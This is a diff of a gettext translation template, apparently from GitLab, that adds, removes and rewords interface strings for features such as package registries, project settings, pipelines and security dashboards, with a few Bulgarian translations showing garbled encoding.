msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr "Отворен"
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Опции"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Планиране на Ñхемите"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr "Изберете чаÑова зона"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
